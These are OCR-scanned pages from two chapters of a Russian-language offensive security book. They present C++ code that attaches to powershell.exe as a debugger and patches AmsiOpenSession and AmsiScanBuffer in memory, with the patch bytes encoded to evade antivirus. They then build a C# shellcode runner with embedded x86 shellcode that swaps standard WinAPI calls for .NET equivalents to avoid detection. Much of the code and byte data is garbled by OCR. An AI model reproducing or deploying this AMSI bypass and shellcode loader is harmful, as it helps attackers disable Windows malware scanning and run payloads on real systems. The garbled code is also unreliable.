Глава 21. Изучаем новый способ обхода AMSI в Windows 419 return pi.dwProcessid; Здесь дополнительно указан флаг CREATE_NEW_ CONSOLE. Он нужен, чтобы powershell. ехе запускалась как новая консоль. Как будто мы ее запустили вручную, дважды клик­ нув на исполняемый файл. Функция возвращает PID созданного процесса, а также инициализирует хендлы, указывающие на главный поток процесса и на сам про­ цесс. После создания процесса мы должны прицепиться к нему в качестве отладчика. Делаем это при помощи функции DebugActiveProcess (). if ( ! DebugActi veProcess (pid) ) { DWORD err = GetLastError(); std: :cerr « h( 11 [-] Failed to attach to process: 11 ) « err « 11 11 « GetWinapiErrorDescription(err) << std::endl; return 1; Этой функции требуется только PID, PID возвращается из startProcesssuspended (). Теперь можем смело возобновлять основной поток процесса, не боясь пропустить загрузку После amsi. dll. возобновления потока процесса сразу же вызываем WaitForDebugEvent () и начинаем обрабатывать отладочные события. Функция wai tForDebugEvent () служит для обработки всех отладочных событий и имеет простой прототип. В001 WaitForDebugEvent( [out] LPDEBUG_EVENT lpDebugEvent, [in] DWORD dwMilliseconds ); □ lpDebugEvent - экземпляр специальной структуры, которая будет содержать ин­ формацию об отладочном событии; □ ctwМilliseconds - время, в течение которого ожидать отладочное событие. Ставим INFINITE, чтобы ждать бесконечно. После появления любого отладочного события функция вернет true, а в lpDebugEvent. dwDebugEventCode будет лежать тип события. Нас интересуют только LOAD_DLL_DEBUG_EVENT и EXIT_PROCESS_DEBUG_EVENT. Вызов функции обычно заворачивают в цикл while, а собы­ тия обрабатывают через swi tch-case. while (WaitForDebugEvent(&debugEvent, INFINITE)) switch (debugEvent.dwDebugEventCode) case LOAD- DLL- DEBUG- EVENT: break; case EXIT- PROCESS - DEBUG- EVENT:
Часть 420 111. Способы обхода средств защиты информации break; ContinueDeЬugEvent(debugEvent.dwProcessid, deЬugEvent.dwТhreadid, DBG_CONТINUE); Теперь нужно убедиться в том, 'ПО подгрузилась действительно arnsi.dll (другие библиотеки нас не интересуют). Для получения имени библиотеки по ее хендлу будет (хендл лежать в lpDeЬugEvent.u.LoadDll.hFile) выполняется функция GetFinalPathNameByHandleA(). Она вернет в свой второй параметр полный путь DLL, который мы будем сравнивать с оригинальным местоположением amsi. dll. case LOAD- DLL- DEBUG- EVENТ: char szName [МАХ_РАТИ]; if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName, МАХ_РАТН, VOLUМE NАМЕ if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\arnsi.dll")) = // О) DOS) ) { Подгрузился AМSI ) Наконец, приступаем к патчинrу библиотеки. Сначала сохраняем базовый адрес загрузки (его можно получить из lpDeЬugEvent.u.LoadDll.lpBaseOfDll) в отдельную пе­ ременную. Следующим шагом нам нужно получить адреса функций AmsiOpenSession () и AmsiScanВuffer (). Их-то мы и будем патчить. Есть два варианта: □ простой способ. Грузим в адресное пространство собственного процесса биб­ лиотеку amsi. dll и через GetProcAddress () получаем адреса нужных функций. Из-за особенностей цессе DLL эти функции будут расположены по тем же адресам в про­ powershell. ехе; □ сложный способ. Ничего не грузим в собственный процесс, а парсим ЕА Т под- гружаемой в текущий момент в процесс PowerShell библиотеки arnsi. Я, само собой, выбрал сложный способ. Для этого вывел всю логику по парсингу ЕА Т в отдельную функцию GetFtшctionAddressFromEAT (), она принимает хендл процес­ са, базовый адрес библиотеки, а также имя функции, адрес которой нужно полу­ чить. FARPROC GetFtшctionAddressFromEAT(НANDLE hProcess, LPVOID baseAddress, const std::string& functionName) DWORD err; IМAGE DOS НEADER dosHeader; if ( !ReadProcessMemory (hProcess, baseAddress, &dosHeader, sizeof (dosHeader) , nullptr) ) err = GetLastError(); std::cout « h("[-] Failed to read ") « err « h(" ") « GetWinapiErrorDescription(err) << std::endl; IМAGE_OOS_НEADER:
Глава 21. Изучаем новый способ обхода AMSI в Windows 421 return nullptr; IНAGE NТ НEADERS ntHeader; if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*~(baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader), nullptr)) err = GetLastError(); std::cout « h("[-] Failed to read « err « h(" ") « GetWinapiErrorDescription(err) << std::endl; IНAGE_NТ_НEADERS") return nullptr; IНAGE EXPORT_DIRECTORY exportDirectory; if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + ntHeader.OptionalHeader.DataDirectory[IНAGE_DIRECTORY_ENТRY_EXPORT] .VirtualAddress, &exportDirectory, sizeof(exportDirectory), nullptr)) err = GetLastError(); std::cout « h("[-] Failed to read « err « h(" ") « GetWinapiErrorDescription(err) << std::endl; IМAGE_EXPORT_DIRECТORY") return nullptr; DWORD* functionAddresses = new DWORD[exportDirectory.NumЬerOfFunctions]; ReadProcessMemory(hProcess, reinterpret_cast<std::uintB_t*>(baseAddress) + exportDirectory.AddressOfFunctions, functionAddresses, sizeof(DWORD) * exportDirectory.NumЬerOfFunctions, nullptr); DWORD* functionNames = new DWORD[exportDirectory.NumЬerOfNames]; ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(ЬaseAddress) + exportDirectory.AddressOfNames, functionNames, sizeof(DWORD) * exportDirectory.NumЬerOfNames, nullptr); WORD* functionNameOrdinals = new WORD[exportDirectory.NumЬerOfNames]; ReadProcessMemory(hProcess, reinterpret_cast<std::uintB_t*>(ЬaseAddress) + exportDirectory.AddressOfNameOrdinals, ·nullptr); exportDirectory.NumЬerOfNames, * sizeof(WORD) functionNameOrdinals, FARPROC functionAddress = nullptr; for (DWORD i = О; i < exportDirectory.NumЬerOfNames; ++i) char name[256] = ( О ); ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(baseAddress) + functionNames [i], name, sizeof (name), nullptr); if (functionName = name) DWORD functionOrdinal functionNameOrdinals[i);
Часть 422 111. Способы обхода средств защиты информации DWORD functionRelativeVirtualAddress = functionAddresses[functionOrdinal]; functionAddress = reinterpret_cast<FARPROC>(reinterpret_cast<std:: uint8_t*>(baseAddress) + functionRelativeVirtualAddress); break; delete[] functionAddresses; delete[] functionNames; delete[] functionNameOrdinals; return functionAddress; PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h("AmsiOpenSession")); Здесь идет стандартный парсинг ЕАТ, просто библиотеки другого процесса. После получения адреса переходим к патчу. Я рекомендую использовать патч Rasta Mouse (https://rastamouse.me/Ьlog/asb-bypass-pt3/). Проблема лишь в том, что его патч уже известен и на последовательность Ох48, ОхЗl, охсо могут ругаться антивирусы. Поэтому предлагаю сохранить патч в виде последовательности десятичных чисел и конвертировать шестнадцатеричные на лету. int values[З] = { 72, 49, 192 1; char patch[З]; std: :ostringstream oss; for (int i = О; i < З; i++I oss << std::hex << std: :setw(21 << std::setfill('0') << values[i]; std::string hexValue = oss.str(I; patch[i] = std: :stoi(hexValue, nullptr, 161; oss.str(""); Сам патч применить несложно - достаточно воспользоваться функцией Wri teProcessMemory (), которой передадим хендл процесса powershell. ехе и адрес функ­ ции, которую нужно пропатчить. В данном случае AmsiOpensession (1. WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr); DWORD errl = GetLastError(I; if (errl != 01 { std::cout « h("[-] Error patching AmsiOpenSession: ") « errl « h(" ") « GetWinapiErrorDescription(errl) << std: :endl; 1 Точно таким же образом патчим AmsiScanВuffer (1. PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, int values2[6] = ( 184, 87,0,7,128,195 1; char patch2[6]; std::ostringstream oss2; h("AmsiScanВuffer"));
Глава 21. Изучаем новый способ обхода AMS/ в Windows 423 for (int i = О; i < 6; i++) { oss2 << std: :hex << std: :setw(2) << std: :setfill{'0') << values2[i]; std::string hexValue2 = oss2.str(); patch2[i] = std::stoi(hexValue2, nullptr, 16); oss2.str(""); WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr); errl = GetLastError(); if (errl != О) { std: :cout « h(" [-] Error patching AmsiScanВuffer: ") « errl « h(" ") « GetWinapiErrorDescription{errl) << std::endl; f std::cout « h("[+] Patching Complete") « std::endl; goto me; Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим метку на функцию DebugActi veProcessStop (). me: if ( 1 DebugActiveProcessStop(pid)) { DWORD 11 = GetLastError(); std::cerr « h("[-] Failed to detach from process: ") « 11 « h(" ") « GetWinapiErrorDescription(ll) << std::endl; return -1; Полный проекта доступен на моем GitHub: https://github.com/МzНmO/ Достаточно лишь запустить исполняемый файл, а он приведет к тому, код DebugAmsi. что у нас появится окно powershell. ехе уже с пропатченным Рис. 21.1. AMSI (рис. 21.1 )! Успешный nатч Избегаем использования функции DebugActiveProcess Функция DebugActi veProcess (), конечно, хороша, но хотелось бы избежать и ее ис­ пользования. В нашем случае это возможно: я нашел еще один интересный флаг,
Часть 424 111. Способы обхода средств защиты информации который можно указать при запуске дочернего процесса. С этим флагом мы авто­ матически становимся отладчиком для дочернего процесса, что позволяет обраба­ тывать все отладочные события. Для этого достаточно лишь указать в функции createProcess() значение 'DEBUG_ONLY_TНIS_PROCESS' (рис. 21.2). StartProcessSuspended (lPWSTQ Pt·ocN•~, HANOLE& hThre•d, HANDLE& hProc) { :· r•;(·~ si ~. { е }; p i :с { е }; ·(sr.:.P7JPHlr0); ;:.,~·p•дirm. '!.i. cb = si _dwПags " STARТF _USESHOWw'HIOOW ; si wSho..Window = S_._SHOWNORMAL; 1 r ( ! Cr eatE>Pr ocess(D1·;J::~d.111e, IIULL , NULL, tIOll, FALSE , CREATE_SUSPENDED I CREATE_NEW_C0NSOLE I DEВUG _ONLY _ THIS_PROCESS, NULL , NULL , &si , &pi )) { ...,,':>,> e rr ~ GetlastError (); st 1: :cout « h("l ] C1nt Cre•te Suspended Process • ) « err « • • << Getwin•piErrorOescription ( err) « 5td : : endt ; r!'turr -1; pi . hThread ; pi hProcess ; ,.:! " DEB'-'G s t d :cou t « rнurn h("[•) Pr oc-e-ss Cгeated Successfut ly") << std : : endt ; pi . d.,.Process!d ; Рис. 21.2. Измененный код функции В таком случае часть с вызовом функции DebugActiveProcess () можно закомментиро­ вать - она больше не нужна (рис. Рис. 21.3). 21.3. Работающий патч Заключение WinAPI настолько огромен, что даже самые легитимные фичи могут помочь ата­ кующему достичь своих целей. Самое главное - найти нужную функцию и понять, в какой момент к ней обращаться. А все остальное - дело техники!
ГЛАВА 22 Замена для WinAPI. Пишем раннер . NЕТ для шелл-кода на чистом Зачастую атакующие используют стандартные функции WinAPI для исполнения шелл-кода. Все эти методы давным-давно известны любому защитному средству. В этой главе мы отойдем от проторенного пути и будем использовать иную пара­ дигму - полный отказ от использования WinAPI. Что представляет собой стандартный шелл-код-раннер? В принципе, ничего осо­ бенного в нем нет. Алгоритм прост как валенок: 1. Сгенерировать, написать или где-то позаимствовать нужный шелл-код. Для это­ го часто используют готовые фреймворки вроде 2. Выделить память под шелл-код. Здесь чаще всего обращаются к функции VirtualAlloc () 3. Metasploit. или низкоуровневым аналогам, например Если на пункте 2 память NtAllocateVirtualMemory (). была выделена без бита executaЫe, то поставить этот бит на память. Тут дергают VirtualProtect () или NtProtectVirtualMemory (). 4. Скопировать шелл-код в память. В случае С++ программы обращаются к rnemcpy (), а в случае С# можно рассмотреть Marshal. Сору () . 5. Передать поток управления по адресу шелл-кода. Реализуется, например, через создание нового потока внугри 6. CreateThread (). Успех! Таким образом, стандартный шелл-код-раннер выглядит вот так. using System; using System.Runtirne.InteropServices; narnespace ConsoleAppl class Prograrn [Dllirnport ("kernel32 .dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [Dllirnport (" kernel32. dll") ]
426 Часть///. Способы обхода средств защиты информации static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadld); [Dlllmport (" kernel32. dll")] static extern Uint32 WaitForSingleObJect(IntPtr hHandle, Uint32 dwMilliseconds); static void Main(string[] args) byte[] x86shc = new byte[l93] 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,Ox52,0x0c,0x8b,0x52,0xl4,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xcl,0xcf,0x0d,0x01,0xc7,0x e2,0xf2,0x52, 0x57,0x8b,0x52,0xl0,0x8b,0x4a,0x3c,0x8b,0x4c,0xll,0x78,0xe3,0x 48,0x01,0xdl, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0xl8,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xcl,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x 75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,Ox4b,0x8b,0x58,0xlc,0x0l,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0xбl,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0xl2,0xeb, 0x8d,0x5d,0xбa,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0xбf, 0x87,Cxff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x 9d,0xff,0xd5, Ох3с,Ох06,Ох7с,Ох0а,Ох80,ОхfЬ,Охе0,Ох75,Ох05,ОхЬЬ,Ох47,Ох13,Ох72,Охбf,Охба, 0x00,0x53,0xff,0xd5,0x63,0x61,0xбc,0x63,0x2e,0x65,0x78,0x65,0x00 int size = xBбshc.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0xl000, ОхЗООО, Ох40); Marshal.Copy(x86shc, О, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, О, addr, IntPtr.Zero, IntPtr. Zero) ; WaitForSingleObject(hThread, 0xFFFFFFFF); ); О, Обратите внимание, что в конце идет вызов waitForSingleObject ( 1. Он здесь не просто так. Наша программа делает странство текущего self-injection процесса). Запуск (внедрение шелл-кода в адресное про­ шелл-кода происходит в функции createThread ( J . Если бы после этой функции ничего не было, то программа приоста­ новила бы выполнение и завершилась. Как следствие, наш шелл-код перестанет выполняться. Поэтому вызов функции waitForSingleObJect IJ предотвращает преждевременное за­ крытие программы. Наша основная программа будет послушно ожидать успешного исполнения шелл-кода. Итак, запускаем код и видим, что все стабильно работает (рис. 22.1 ). Теперь давайте попробуем изменить программу так, чтобы избавиться от всех функций WinAPI. В качестве шелл-кода, как вы поняли, используем стандартный запуск калькулятора. Архитектура - х86.
Глава 22. Замена для Рис . WinAPI. Пишем раннер 22.1. для шелл-кода на чистом .NET 427 Успешное использование стандартного шелл-код-раннера Синхронизация через Начнем с самого простого - Sleep выбросим функцию wa i tFo r SingleOb j e c t (1 . Ее последним аргументом было значение 0x FFFFFFFF, что равносильно константе INF I N IТE в С++ (рис. 22.2). Рис. 22.2. Значение константы INIFINITE
Часть 428 111. Способы обхода средств защиты информации Поэтому нам достаточно взять и заменить вызов этой функции стандартным Sleep (), ведь основная задача - предотвратить выключение процесса с запущенным шелл­ кодом. Предлагаю в качестве кандидата рассмотреть функцию Thread. Sleep () . puЫic В static void Sleep (int millisecondsTimeout); качестве millisecondsTimeout передаем, согласно документации (https:/Лearn. microsoft.com/ru-ru/dotnet/api/system.threading.thread.sleep?view=net-8.0), ние значе­ Timeout. Infinite. using System; using System.Runtime.InteropServices; using System.Threading; namespace ConsoleAppl class Program [Dlllmport ("kernel32 .dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [Dllimport ("kernel32 .dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadid); static void Main(string[] args) { byte[] x86shc = new byte[193] Oxfc,Oxe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,Ox50,0x30, Ox8b,Ox52,0x0c,Ox8b,Ox52,0x14,0x8b,0x72,0x28,0x0f,0xЬ7,0x4a,0x26,0x31,0xff, Oxac,Ox3c,Oxбl,Ox7c,Ox02,0x2c,Ox20,0xcl,Oxcf,Ox0d,Ox01,0xc7,0xe2,0xf2,0x52, Ox57,0x8b,Ox52,0x10,0x8b,Ox4a,Ox3c,Ox8b,Ox4c,0xll,Ox78,0xe3,0x48,0x01,0xdl, Ox51,0x8b,Ox59,0x20,0x01,0xd3,0x8b,Ox49,0x18,0xe3,0x3a,Ox49,0x8b,Ox34,0x8b, Ox01,0xd6,0x31,0xff,Oxac,Oxcl,Oxcf,0x0d,Ox01,0xc7,0x38,0xe0,0x75,0xf6,0x03, Ox7d,Oxf8,0x3b,Ox7d,Ox24,0x75,0xe4,0x58,0x8b,Ox58,0x24,0x01,0xd3,0x66,0x8b, Ox0c,Ox4b,Ox8b,Ox58,0xlc,Ox01,0xd3,0x8b,Ox04,0x8b,Ox01,0xd0,0x89,0x44,0x24, Ox24,0x5b,Ox5b,Oxбl,Ox59,0x5a,Ox51,0xff,0xe0,0x5f,0x5f,Ox5a,0x8b,0xl2,0xeb, Ox8d,Ox5d,Oxбa,Ox01,0x8d,Ox85,0xЬ2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0xбf, Ox87,0xff,Oxd5,0xЬb,Oxf0,0xЬ5,0xa2,0x56,0x68,0xa6,0x95,0xЬd,Ox9d,Oxff,Oxd5, Ох3с,Ох06,Ох7с,Ох0а,Ох80,ОхfЬ,Охе0,Ох75,Ох05,ОхЬЬ,Ох47,Ох13,Ох72,Охбf,0хба, Ox00,0x53,0xff,Oxd5,0x63,0x61,0xбc,Ox63,0x2e,Ox65,0x78,0x65,0x00 var size = x86shc.Length; var addr = VirtualAlloc(IntPtr.Zero, OxlOOO, ОхЗООО, Ох40); Marshal.Copy(x86shc, О, addr, size); var hThread = CreateThread(IntPtr.Zero, О, addr, IntPtr.Zero, Thread.Sleep(Timeout.Infinite); О, ); IntPtr.Zero);
Глава 22. Замена для WinAPI. Пишем раннер для шелл-кода на чистом .NET 429 Рис. 22.З. Успешная замена функции Запускаем, проверяем, все работает (рис. Идем дальше - Поток без 22.3)! замена CreateThread (). CreateThread() Здесь уже сложнее. Поток просто так не заменить. Впрочем , в С# есть отдельный неймспейс System . Threading threading?view=net-8.0), (https://learn.microsoft.com/ru-ru/dotnet/api/system. который даст нам почти все необходимые методы для ра­ боты с мноrопоточностью . Для выполнения шелл-кода достаточно создать поток, а затем сделать точку входа в него идентичной адресу шелл-кода . Таким образом , внутри нового потока будет выполняться наша полезная нагрузка . Для запуска потока в С# нужно инициализировать экземпляр класса Thread (https:// learn.microsoft.com/ru-ru/dotnet/api/system.threading. thread ?view=net-8.0). Этот класс тоже предоставляет некоторые методы для работы с потоками :
Часть 430 □ статический метод 111. Способы обхода средств защиты информации GetDomain (J возвращает ссылку на домен приложения; □ статический метод GetDomainID (J возвращает идентификатор домена приложения, в котором выполняется текущий поток; □ статический метод sleep ( J останавливает поток на определенное количество миллисекунд; □ метод Join () блокирует выполнение вызвавшего его потока до тех пор, пока не завершится поток, для которого был вызван этот метод; □ метод start () запускает поток. В качестве точки входа потока, так же как и в С++, требуется указать определен­ ную функцию. Сразу засунуть сюда шелл-код не получится - в С# имя функции не является ее адресом. Поэтому потребуется создать дополнительную функцию, которая будет принимать адрес шелл-кода. А внутри этой так называемой функ­ ции - точки входа потока запустить шелл-код. var size = x86shc.Length; var addr = VirtualAlloc(IntPtr.Zero, OxlOOO, Marshal.Copy(x86shc, О, addr, size); ОхЗООО, Ох40); Thread thread = new Thread ( () => IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }) ; thread.Start(); thread. Join () ; Запускать нужно внутри метода Executeshellcode (). Мы не используем WinAPI, по­ этому передавать поток управления по произвольному адресу будем встроенными средствами С#. На помощь нам придут делегаты. Не пугайтесь, это только звучит страшно. По сути, это просто указатели на функцию. Они позволяют передать по­ ток управления по любому адресу. Код метода будет следующим. static void ExecuteShellcode(IntPtr funcAddr) var func = Marsha1. Get.DelegateForFunctionPointer<FuncType> (funcAddr); func(); [UnmanagedF,::, t ionPointer (CallingConvention.Cdecl)] private deleg ,'"' void FuncType(); Обратите внимание: в конце мы объявили делегат. Фактически это представление нашего шелл-кода. Он не принимает никаких аргументов и возвращает void. Затем нужно создать новый делегат. У нас есть адрес, по которому расположен шелл-код, поэтому используем метод Marshal. GetDelegateForFunctionPointer 1) (https://
Глава 22. Замена для WinAPI. Пишем раннер для шелл-кода на чистом .NET 431 learn.microsoft.com/ru-ru/dotnet/api/system.runtime.interopservices.marshal.get delegateforfunctionpointer?view=net-8.0) для инициализации делегата из адреса в памяти. После успешной инициализации делегата передать ему поток управления проще простого: нужно обратиться к делегату как к функции: func 1). Причем параллельно у нас получилось избавиться и от функции Sleep 1). Она была успешно заменена вызовом thread.Join() (рис. 22.4). Полный код с доработками ниже. Рис. 22.4. using System; using System.Runtime.InteropServices; using System.Thread1ng; namespace ConsoleAppl class Program Успешный запуск шелл-кода -
Часть 432 111. Способы обхода средств защиты информации [Dllimport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [Dllimport("kernel32.dll", SetLastError = true, ExactSpelling = true)) [return: MarshalAs(UrunanagedType.Bool)) static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); static void Main(string[] args) { byte[] x86shc = new byte[l93) Oxfc, Охе8, Ох82, ОхОО, ОхОО, ОхОО, ОхбО, Ох89, OxeS, Ох31,Охс0, Охб4, ОхВЬ, OxSO, ОхЗО, Ох52, Ох14, ОхВЬ, Ох72, Ох28, ОхОf,ОхЬ7, Ох4а, Ох26, Ох31, Oxff, ОхОс, ОхВЬ, ОхВЬ, Ох52, Охас, Oxcl, Oxcf, OxOd,OxOl, Охс7, Охе2, Oxf2, Ох52, ОхВЬ, Ох4с, Oxll,Ox78, ОхеЗ, Ох48, OxOl, Oxdl, ОхВЬ, Ох59, Ох20, OxOl, ОхdЗ, ОхВЬ, Ох49, OxlB, ОхеЗ,ОхЗа, Ох49, ОхВЬ, Ох34, ОхВЬ, Охdб, ОхЗl, Oxff, Охас, Oxcl, Oxcf, OxOd, OxOl, Охс7,Ох38, ОхеО, Ох75, Охfб, ОхОЗ, OxfB, ОхЗЬ, Ox7d, Ох24, Ох75, Охе4, Ох58, ОхВЬ, Ох58, Ох24, Ox01,0xd3, Охбб, ОхВЬ, Ох4Ь, ОхВЬ, Ох58, Oxlc, OxOl, ОхdЗ, ОхВЬ, Ох04, ОхВЬ, OxOl,OxdO, Ох89, Ох44, Ох24, OxSb, OxSb, Охбl, Ох59, OxSa, OxSl, Oxff, ОхеО, OxSf, OxSf, OxSa,OxBb, Ох12, ОхеЬ, OxSd, Охба, OxOl, OxBd, OxBS, ОхЬ2, ОхОО, ОхОО, OxOO,OxSO, ОхбВ, ОхЗl, ОхВЬ, Охбf, Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS, Оха2, Ох56,Охб8, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS, ОхОб, Ох7с, ОхОа, ОхВО, ОхfЬ, ОхеО, Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72, Охбf, Охба, ОхSЗ, Oxff, OxdS, ОхбЗ, Охбl, Охбс, ОхбЗ, Ох2е, Ох65, Ох78, ОхбS, ОхОО Ох57, OxSl, OxOl, Ox7d, ОхОс, Ох24, OxBd, Ох87, ОхЗс, ОхОО, ОхЗс, Охбl, Ох7с, Ох02, Ох2с, Ох20, ОхВЬ, Ох52, OxlO, ОхВЬ, Ох4а, ОхЗс, }; var size = xBбshc.Length; var addr = VirtualAlloc(IntPtr.Zero, OxlOOO, Marshal.Copy(x86shc, О, addr, size); ОхЗООО, Ох40); Thread thread = new Thread ( ( ) => IntPtr functionPtr = addr; ExecuteShellcode(functionPtr); }); thread.Start(); thread. Join (); static void ExecuteShellcode(IntPtr funcAddr) var func = Marshal.GetDelegateForFunctionPointer<FuncType>(funcAddr); func(); [UrunanagedFunctionPointer(CallingConvention.Cdecl)] private delegate void FuncType();
Глава 22. Замена для WinAPI. Пишем раннер для шелл-кода на чистом 433 .NET Прекрасно! Теперь пора избавляться от Marshal. сору () . Конечно, это не WinAPI, но я вошел во вкус и решил сделать абсолютно всю логику программы на альтерна­ тивных функциях. Копируем память ручками Какова логика работы функции мarshal. Сору () (bttps:/Лearo.microsoft.com/ru­ ru/dotnet/api/system.runtime.interopservices.marsbal.copy?view=net-8.0)? static void puЬlic Сору (float[] source, int startlndex, IntPtr destination, int length); Здесь все просто: идет копирование данных размером startlndex, декса по адресу length из source, начиная с ин­ destination. Что мешает нам написать это ручками? Тем более С# поддерживает механизм ука­ зателей code). (bttps://learo.microsoft.com/ru-ru/dotnet/csbarp/laoguage-reference/uosafe- Создадим метод customcopy(), принимающий все те же аргумекrы, что и Marshal. Сору (). static void CustomCopy(byte[] source, int startlndex, IntPtr destination, int length) { unsafe byte* destPtr = (byte*)destination.ToPointer(); for (int i = startlndex; i < length; i++) destPtr[i] = source[i]; Обратите внимание: здесь используется ключевое слово unsafe. Для успешной ком­ пиляции проекта с таким ключевым словом следует в опциях сборки установить галочку напротив пункта «Разрешить небезопасный код» (рис. Метод ToPointer 1) преобразует переданный адрес (destination) 22.5). в переменную destPtr, которая после выполнения метода начнет указывать на тип byte. Затем по этому адресу будут копироваться значения из source. Фактически мы побайтово копируем данные из source в destination (рис. 22.6). С изменениями код будет выглядеть так. using System; using System.Runtime.InteropServices; using System.Threading; namespace ConsoleAppl class Program [D11Import("kernel32.dll", SetLastError true, ExactSpelling = true)]
Часть 434 111. Способы обхода средств защиты информации --1 11.u1toPмc-~CJIU) О6щме - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ~•усюоноА-м: ~ - - - - - - - - - - - - - - ~ Б2) O n - """"'1нту O{ВUG 0 ~--ТRАС( u.-,,_..,..,,,_ 0 ~ 3 2·- - i;a ,_......,_...""" 1 □ ~""" OWil6ltи мn__... -------------------------- ~11,.n_мo_Olllll6«il - - - - - - - - - - - - - - - - - - - - - - .. в_,.ые»ннwе ---------------------------О61ор... 8ых0Ано!I~ О хмt.•~-.,~ ~p,,pot,,tn, _ _ _ il<:l..,~OOМ 1- ео,..,..<6-_м: ::: --J t Рис. 22.5. Необходимая опция static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); static void Main(string[] args) { byte[] x86shc = new byte[193] Oxfc, Охе8, Ох82, ОхОО, ОхОО, Ох8Ь, ОхОс, ОхОО, ОхбО, Ох89, OxeS, ОхЗl,ОхсО, Ох64, Ох8Ь, OxSO, ОхЗО, Ох8Ь, Ох52, Ох14, Ох8Ь, Ох72, Ох28, Ох0f,ОхЬ7, Ох4а, Ох26, ОхЗl, Oxff, Охас, ОхЗс, Охбl, Ох7с, Ох02, Ох2с, Ох20, Охе2, Ох8Ь, Ох52, OxlO, Ох8Ь, Ох4а, ОхЗс, Oxcl, Oxcf, OxOd, OxOl, Ох8Ь, Ох4с, Oxll,Ox78, Охс7, Ох57, ОхеЗ, Ох48, Oxf2, Ох52, OxOl, Oxdl, Ох51, Ох8Ь, Ох59, Ох20, OxOl, ОхdЗ, Ох8Ь, Ох49, Ох18, ОхеЗ, ОхЗа, Ох49, Ох8Ь, Ох34, Ох8Ь, OxOl, Охdб, Ox7d, Oxf8, ОхЗl, Oxff, Ox7d, Охас, Oxcl, Oxcf, OxOd, OxOl, Охс7,Ох38, ОхеО, Ох75, Охfб, ОхОЗ, Ох24, Ох75, Охе4, Ох58, OxOl,OxdЗ, Охбб, Ох8Ь, Oxlc, OxOl, Ох24, OxSb, OxSb, Охбl, Ох59, OxSa, Ox8d, OxSd, Охба, OxOl, Ox8d, Ох85, Ох87, Oxff, OxdS, ОхЬЬ, OxfO, ОхЬS, ОхdЗ, ОхЗЬ, Ох8Ь, Ох58, Ох24, ОхЗс, ОхОб, Ох7с, ОхОа, ОхВО, ОхfЬ, ОхеО, OxOl,OxdO, Ох89, Ох44, Ох24, Oxff, ОхеО, OxSf, OxSf, Ох5а,Ох8Ь, Ох12, ОхеЬ, ОхОО, ОхОО, ОхОО, OxSO, Ох68, ОхЗl, Ох8Ь, Охбf, Ох56,Ох68, Охаб, Ох95, ОхЬd, Ox9d, Oxff, OxdS, Ох75, OxOS, ОхЬЬ, Ох47, ОхlЗ, Ох72,Охбf, Охба, ОхОО, ОхSЗ, Oxff, OxdS, ОхбЗ, Охбl, Охбс, ОхбЗ, ОхОс, f; Ох52, Ох4Ь, ОхВЬ, Ох58, Ох51, ОхЬ2, Оха2, Ох8Ь, Ох04, Ох8Ь, Ох2е, ОхбS, Ох78, Ох65, ОхОО
Глава 22. Замена для WinAPI. Пишем раннер Рис. 22.6. для шелл-кода на чистом .NET Успешное выполнение кода var size = xBбshc.Length; var addr = VirtualAlloc(IntPtr .Zero, Ox l OOO , CustomCopy(xBбshc, О, addr, size); ОхЗООО, Ох40); Thread thread = new Thread ( 1) => IntPtr functionPtr = addr ; ExecuteShellcode(functionPtrl; 11; thread.Start(); thread.Join(); static void CustomCopy(byte[] source, int start lndex, IntPtr destination, int length ) unsafe byte* destPtr (byte*)destination.ToPointer(); 435
